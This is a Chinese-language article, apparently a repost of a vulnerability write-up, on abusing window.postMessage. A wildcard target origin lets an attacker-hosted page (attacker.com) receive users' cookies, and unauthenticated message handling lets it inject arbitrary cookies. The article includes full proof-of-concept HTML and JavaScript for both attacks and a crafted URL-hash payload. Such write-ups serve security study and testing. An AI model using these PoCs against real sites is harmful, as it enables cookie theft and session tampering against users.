溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用postMessage竊取編輯用戶的Cookie信息

發(fā)布時間:2021-12-23 09:16:01 來源:億速云 閱讀:237 作者:柒染 欄目:安全技術

如何利用postMessage竊取編輯用戶的Cookie信息,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

如何利用postMessage竊取編輯用戶的Cookie信息

當我在做某個項目的漏洞測試時,在登錄的一些HTTP請求記錄中,我發(fā)現(xiàn)了一種利用postMessage方式竊取和編輯用戶Cookie的方法。由于該測試是邀請測試,出于保密,我只能在下文中和大家分享一些方法思路。

postMessage介紹

相信大家都聽過不同窗口之間的通信、當前窗口與內(nèi)部iframe框架的通信以及一些跨域技巧,window.postMessage功能就是允許在兩個客戶端的窗口/frames間發(fā)送數(shù)據(jù)信息,跨域地實現(xiàn)通信的方法。

在HTML5中,Window.postMessage() 方法可以安全地實現(xiàn)跨源通信。通常,對于兩個不同頁面的腳本,只有當執(zhí)行它們的頁面位于具有相同的協(xié)議(通常為https),端口號(443為https的默認值),以及主機  (兩個頁面的模數(shù) Document.domain設置為相同的值) 時,這兩個腳本才能相互通信。window.postMessage() 方法提供了一種受控機制來規(guī)避此限制,只要正確的使用,這種方法就很安全。

Window.postMessage有三個參數(shù),message、targetOrigin和可選的[transfer]),其中message代表將要發(fā)送到其他窗口的數(shù)據(jù),targetOrigin表示接收數(shù)據(jù)消息的目標窗口,transfer代表消息的所有權。另外還有一個window.addEventListener("message", receiveMessage, false),用以監(jiān)聽消息數(shù)據(jù)的反饋,其中的message就存在data、origin和source三個屬性,origin屬性表示消息數(shù)據(jù)發(fā)送方的身份,只有和原來指定發(fā)送方的協(xié)議、域名或端口一致,才能建立通信。具體請參考    postMessage的詳細介紹。

舉個例子,比如我們這有一個包含js代碼的頁面,用來監(jiān)聽記錄傳入的消息,其中的js代碼如下:

<script>
    function messages(event)
    {
        console.log(event);
    }
    window.addEventListener(‘message’,messages,false);
    console.log(“l(fā)istening”);
 </script>
<iframe src="url/child.html"></iframe>

在上述child.html的子頁面中,存在一個向主頁面的消息發(fā)送,它就調(diào)用了postMessage方法,如下:

window.parent.postMessage("Hello parent", "target");

接下來,會發(fā)生什么呢?

首先,你訪問那個會加載child.html子頁面的主頁面,之后,子頁面會向主頁面發(fā)送消息,然后,主頁面接收該消息并通過控制臺進行記錄。這里會存在什么安全隱患嗎?

如果攻擊者能控制消息發(fā)送的目標窗口target參數(shù)值會怎樣?

當然,如果子頁面存在點擊劫持又會怎樣?

我們要思考的是,按照postMessage規(guī)范來說,如果消息發(fā)送的目標窗口target參數(shù)是星號*,表示無限制,也即可以發(fā)送到任何引用了子頁面的域名中去。這樣的話,就會導致一些不安全的問題出現(xiàn)。

具體測試

回到之前的漏洞測試過程中,為了更好地展示思路,接下來開始,假設我們的測試目標為域名onga.com。我通過爬蟲找到了其中一個包含了HTML內(nèi)容的一個HTML頁面 sync.html,然后,我的工具也顯示該頁面中包含了一些不安全的Javascript代碼。

這個文件沒有其它過多的元素,只包含了一個script標記,所以這個頁面看起來是起到一個中轉(zhuǎn)作用。仔細分析其中的 sync.html 文件,其中包含了一個postMessage方法,它向變量名為wOrigin的目標發(fā)送了消息,如下:

如何利用postMessage竊取編輯用戶的Cookie信息

window.parent.postMessage(JSON.stringify(msg), wOrigin);

這樣,我們現(xiàn)在就看到了兩個變量,分別為msg和wOrigin。于是,我認真查找了類似變量的初始化位置,以確定是否可以對它們進行控制。很驚訝的是,msg是Cookie值,其它相關的都是用戶的輸入。

在分析wOrigin變量的過程中, 它在三個地方存在,第一個地方就是:

var fdata = JSON.parse(decodeURIComponent(window.location.hash.substr(1)));
var ns = fdata.ns;
var worigin = fdata.worigin;

代碼很簡單,首先,它獲取到了當前窗口的URL哈希值,然后執(zhí)行編碼操作(Decode);之后,解析為json對象,接著,創(chuàng)建兩個變量,ns代表命名空間,wOrigin代表消息的發(fā)送目標窗口。

看到window.location.hash方法,我們就會自然地想到它可以用dom-based XSS加以利用,但這個問題在此不作討論。

所以,接下來,我繼續(xù)檢查其中的代碼,查看 ns 和 wOrigin 在傳遞給postMessage方法前的一些過濾機制,啊,竟然沒有!那這樣的話,我們就可以想辦法來構造exploit看看了。

構造Exploit

現(xiàn)在,我們需要逆向來思考這個過程:

首先,要創(chuàng)建ns 和 wOrigin 兩個變量;

假設 ns=anyblah ,wOrigin=*;

創(chuàng)建json對象格式 {"ns":"anyblah","wOrigin":"*"};

構造存在漏洞的URL:

http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}

當上述URL頁面被加載之后,postMessage方法會向主頁面發(fā)送一個消息,但由于采用了*星號,該過程中不會限制發(fā)送目標域,消息可以發(fā)送到任何采取監(jiān)聽措施的域名中去。

現(xiàn)在,我們在主頁面中來設置一個監(jiān)聽以接收消息:

<script>
  function rcv(event)
   {  
       console.log(event);
   }
  window.addEventListener('message',rcv,false);
</script>

創(chuàng)建一個iframe框架來加載存在漏洞的頁面,并把它設置為子頁面,所以最終的PoC代碼可以如下:

<script>
  function rcv(event)
   {
    console.log(event);
   }
  window.addEventListener('message',rcv,false);
</script>
<iframe src='http://vulnerable-onga.com/sync.html#{"ns":"anyblah","wOrigin":"*"}' />

當打開攻擊者設置的包含上述代碼的頁面http://attacker.com/poc.html后,監(jiān)聽器將會運行,并會等待傳入消息,同時,iframe框架會被加載,此時,存在漏洞的頁面也一樣會在iframe框架會中被加載,并會向主頁面也就是攻擊者控制的網(wǎng)站頁面中發(fā)送包含有cookie的消息,最終,在我們的實例中,攻擊者控制的網(wǎng)站會捕獲到這些包含cookie的消息。

這就完了嗎?

當然沒有,不要忙著慶祝,這其中可能會有一些遺漏的東西,我們一起來看看。由于目標系統(tǒng)包含postMessage方法的文件只有57行代碼,我決定好好分析一下。果然,我又在其中發(fā)現(xiàn)了另外一行有意思的代碼:

window.addEventListener('message', h_message);

我又趕緊檢查了一下參數(shù)h_message函數(shù)的具體內(nèi)容:

function h_message(event)
{
          var data = null;
          try { data = JSON.parse(event.data); } catch(e) { return;}
          if (data.msgType !== "write" && data.namespace !== ns) {
            return;
          }
          setCookie(data.cookieName, data.cookieVal,parseInt(data.expiresDays, 10), data.secureOnly);       
}

我們來分析一下以上代碼包含的意思:    

傳入消息中可能包含有json對象;

json對象中的msgType屬性可能和write屬性相同;

另外一個namespace屬性可能和hash中的 ”ns“相同,都是用戶端控制的輸入;

if (data.msgType !== "write" && data.namespace !== ns)中使用了邏輯非和與運算,所以兩組條件中都需要滿足才能return返回;

否則,就會執(zhí)行下一個包含其它json屬性為參數(shù)的setCookie()函數(shù)。

這里確實是存在風險的,由于缺乏對消息源的認證機制,所以任意網(wǎng)站都可以用來發(fā)送消息并向setCookie()中傳入惡意值?;谝陨蟼ナ劳?,我們可以構造出以下json對象來:

{"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false}

目標URL我們可以這樣來設置:/sync.html#{"ns":"a","wOrigin":"*"}

最終的PoC頁面中將包含以下代碼:

<script>
       var tar='http://onga.com/sync.html#{"ns":"a","wOrigin":"*"}';
       var pay={"msgType":"write","namespace":"a","cookieName":"injectedt","cookieVal":"hacked","expiresDays":10,"secureOnly":false};  
       var c= window.open(tar,"child");
       c.postMessage(pay,"*");
</script>

保存包含上述代碼的PoC頁面為html格式并打開,cookie就能成功注入,因此攻擊者端也就能向存在漏洞網(wǎng)站,注入任意cookie數(shù)據(jù)信息,實現(xiàn)間接的cookie竊取和編輯操作了。

看完上述內(nèi)容,你們掌握如何利用postMessage竊取編輯用戶的Cookie信息的方法了嗎?如果還想學到更多技能或想了解更多相關內(nèi)容,歡迎關注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

AI